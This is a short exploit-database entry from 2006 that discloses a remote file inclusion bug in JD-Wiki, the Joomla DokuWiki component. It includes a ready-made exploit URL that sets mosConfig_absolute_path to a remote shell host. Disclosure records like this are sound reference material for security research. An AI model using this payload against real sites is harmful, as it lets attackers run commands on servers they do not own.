JD-Wiki Remote File Include

vendor:

JD-Wiki

by:

jank0

N/A

CVSS

N/A

Remote File Include

N/A

CWE

Product Name: JD-Wiki

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

JD-Wiki Remote File Include

JD-Wiki is the Joomla! integration of the nice DokuWiki. DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating documentation of any kind. This bug allows a remote attacker to execute commands via RFI. The path for the exploit is ?mosConfig_absolute_path= and the exploit is /components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=http://shell

Mitigation:

N/A

Source

Exploit-DB raw data:

####################################################################################
#JD-Wiki Remote File Include
------------------------------------------------------------------------------------
JD-Wiki is the Joomla! integration of the nice DokuWiki.
DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating 
documentation of any kind.
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

path: ?mosConfig_absolute_path=

xpl:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=http://shell


Contact: irc.undernet.org #hackbsd & #ircmasters

# milw0rm.com [2006-08-07]